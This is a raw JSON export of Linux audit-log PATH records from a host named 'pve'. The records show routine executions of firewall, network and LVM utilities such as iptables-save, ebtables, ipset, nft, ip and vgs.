{"@timestamp":1781964975155,"@rawstring":"node=pve type=PATH msg=audit(1781964975.155:63443): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975155,"@rawstring":"node=pve type=PATH msg=audit(1781964975.155:63443): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975153,"@rawstring":"node=pve type=PATH msg=audit(1781964975.153:63442): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975153,"@rawstring":"node=pve type=PATH msg=audit(1781964975.153:63442): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975152,"@rawstring":"node=pve type=PATH msg=audit(1781964975.152:63441): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975152,"@rawstring":"node=pve type=PATH msg=audit(1781964975.152:63441): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975152,"@rawstring":"node=pve type=PATH msg=audit(1781964975.152:63440): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975148,"@rawstring":"node=pve type=PATH msg=audit(1781964975.148:63439): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975148,"@rawstring":"node=pve type=PATH msg=audit(1781964975.148:63439): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975148,"@rawstring":"node=pve type=PATH msg=audit(1781964975.148:63439): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975141,"@rawstring":"node=pve type=PATH msg=audit(1781964975.141:63438): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975141,"@rawstring":"node=pve type=PATH msg=audit(1781964975.141:63438): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975135,"@rawstring":"node=pve type=PATH msg=audit(1781964975.135:63437): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975135,"@rawstring":"node=pve type=PATH msg=audit(1781964975.135:63437): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975131,"@rawstring":"node=pve type=PATH msg=audit(1781964975.131:63436): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975131,"@rawstring":"node=pve type=PATH msg=audit(1781964975.131:63436): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975125,"@rawstring":"node=pve type=PATH msg=audit(1781964975.125:63435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975125,"@rawstring":"node=pve type=PATH msg=audit(1781964975.125:63435): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975118,"@rawstring":"node=pve type=PATH msg=audit(1781964975.118:63434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964975118,"@rawstring":"node=pve type=PATH msg=audit(1781964975.118:63434): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964974833,"@rawstring":"node=pve type=PATH msg=audit(1781964974.833:63433): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964974833,"@rawstring":"node=pve type=PATH msg=audit(1781964974.833:63433): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964974808,"@rawstring":"node=pve type=PATH msg=audit(1781964974.808:63432): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964974808,"@rawstring":"node=pve type=PATH msg=audit(1781964974.808:63432): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971334,"@rawstring":"node=pve type=PATH msg=audit(1781964971.334:63431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971334,"@rawstring":"node=pve type=PATH msg=audit(1781964971.334:63431): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971334,"@rawstring":"node=pve type=PATH msg=audit(1781964971.334:63430): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971334,"@rawstring":"node=pve type=PATH msg=audit(1781964971.334:63429): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971320,"@rawstring":"node=pve type=PATH msg=audit(1781964971.320:63428): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971320,"@rawstring":"node=pve type=PATH msg=audit(1781964971.320:63428): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971320,"@rawstring":"node=pve type=PATH msg=audit(1781964971.320:63427): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971320,"@rawstring":"node=pve type=PATH msg=audit(1781964971.320:63426): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966311,"@rawstring":"node=pve type=PATH msg=audit(1781964966.311:63425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966311,"@rawstring":"node=pve type=PATH msg=audit(1781964966.311:63425): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966311,"@rawstring":"node=pve type=PATH msg=audit(1781964966.311:63424): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966311,"@rawstring":"node=pve type=PATH msg=audit(1781964966.311:63423): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966303,"@rawstring":"node=pve type=PATH msg=audit(1781964966.303:63422): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966303,"@rawstring":"node=pve type=PATH msg=audit(1781964966.303:63422): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966303,"@rawstring":"node=pve type=PATH msg=audit(1781964966.303:63421): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966303,"@rawstring":"node=pve type=PATH msg=audit(1781964966.303:63420): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966105,"@rawstring":"node=pve type=PATH msg=audit(1781964966.105:63419): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966105,"@rawstring":"node=pve type=PATH msg=audit(1781964966.105:63419): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966102,"@rawstring":"node=pve type=PATH msg=audit(1781964966.102:63418): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966102,"@rawstring":"node=pve type=PATH msg=audit(1781964966.102:63418): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966102,"@rawstring":"node=pve type=PATH msg=audit(1781964966.102:63417): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966102,"@rawstring":"node=pve type=PATH msg=audit(1781964966.102:63417): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966101,"@rawstring":"node=pve type=PATH msg=audit(1781964966.101:63416): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966098,"@rawstring":"node=pve type=PATH msg=audit(1781964966.098:63415): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966098,"@rawstring":"node=pve type=PATH msg=audit(1781964966.098:63415): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966098,"@rawstring":"node=pve type=PATH msg=audit(1781964966.098:63415): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966091,"@rawstring":"node=pve type=PATH msg=audit(1781964966.091:63414): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966091,"@rawstring":"node=pve type=PATH msg=audit(1781964966.091:63414): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966085,"@rawstring":"node=pve type=PATH msg=audit(1781964966.085:63413): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966085,"@rawstring":"node=pve type=PATH msg=audit(1781964966.085:63413): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966079,"@rawstring":"node=pve type=PATH msg=audit(1781964966.079:63412): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966079,"@rawstring":"node=pve type=PATH msg=audit(1781964966.079:63412): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966072,"@rawstring":"node=pve type=PATH msg=audit(1781964966.072:63411): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966072,"@rawstring":"node=pve type=PATH msg=audit(1781964966.072:63411): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966067,"@rawstring":"node=pve type=PATH msg=audit(1781964966.067:63409): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966067,"@rawstring":"node=pve type=PATH msg=audit(1781964966.067:63409): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966063,"@rawstring":"node=pve type=PATH msg=audit(1781964966.063:63408): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966063,"@rawstring":"node=pve type=PATH msg=audit(1781964966.063:63408): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966057,"@rawstring":"node=pve type=PATH msg=audit(1781964966.057:63407): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966057,"@rawstring":"node=pve type=PATH msg=audit(1781964966.057:63407): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966052,"@rawstring":"node=pve type=PATH msg=audit(1781964966.052:63406): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966052,"@rawstring":"node=pve type=PATH msg=audit(1781964966.052:63406): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966047,"@rawstring":"node=pve type=PATH msg=audit(1781964966.047:63405): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966047,"@rawstring":"node=pve type=PATH msg=audit(1781964966.047:63405): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966042,"@rawstring":"node=pve type=PATH msg=audit(1781964966.042:63404): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966042,"@rawstring":"node=pve type=PATH msg=audit(1781964966.042:63404): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966034,"@rawstring":"node=pve type=PATH msg=audit(1781964966.034:63403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966034,"@rawstring":"node=pve type=PATH msg=audit(1781964966.034:63403): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966029,"@rawstring":"node=pve type=PATH msg=audit(1781964966.029:63402): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966029,"@rawstring":"node=pve type=PATH msg=audit(1781964966.029:63402): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966025,"@rawstring":"node=pve type=PATH msg=audit(1781964966.025:63401): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966025,"@rawstring":"node=pve type=PATH msg=audit(1781964966.025:63401): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966022,"@rawstring":"node=pve type=PATH msg=audit(1781964966.022:63400): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966022,"@rawstring":"node=pve type=PATH msg=audit(1781964966.022:63400): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966021,"@rawstring":"node=pve type=PATH msg=audit(1781964966.021:63399): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966021,"@rawstring":"node=pve type=PATH msg=audit(1781964966.021:63399): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966021,"@rawstring":"node=pve type=PATH msg=audit(1781964966.021:63398): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966017,"@rawstring":"node=pve type=PATH msg=audit(1781964966.017:63397): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966017,"@rawstring":"node=pve type=PATH msg=audit(1781964966.017:63397): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966017,"@rawstring":"node=pve type=PATH msg=audit(1781964966.017:63397): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966010,"@rawstring":"node=pve type=PATH msg=audit(1781964966.010:63396): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966010,"@rawstring":"node=pve type=PATH msg=audit(1781964966.010:63396): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966005,"@rawstring":"node=pve type=PATH msg=audit(1781964966.005:63395): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966005,"@rawstring":"node=pve type=PATH msg=audit(1781964966.005:63395): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965999,"@rawstring":"node=pve type=PATH msg=audit(1781964965.999:63394): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965999,"@rawstring":"node=pve type=PATH msg=audit(1781964965.999:63394): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965993,"@rawstring":"node=pve type=PATH msg=audit(1781964965.993:63393): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965993,"@rawstring":"node=pve type=PATH msg=audit(1781964965.993:63393): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965987,"@rawstring":"node=pve type=PATH msg=audit(1781964965.987:63392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965987,"@rawstring":"node=pve type=PATH msg=audit(1781964965.987:63392): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964964736,"@rawstring":"node=pve type=PATH msg=audit(1781964964.736:63391): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 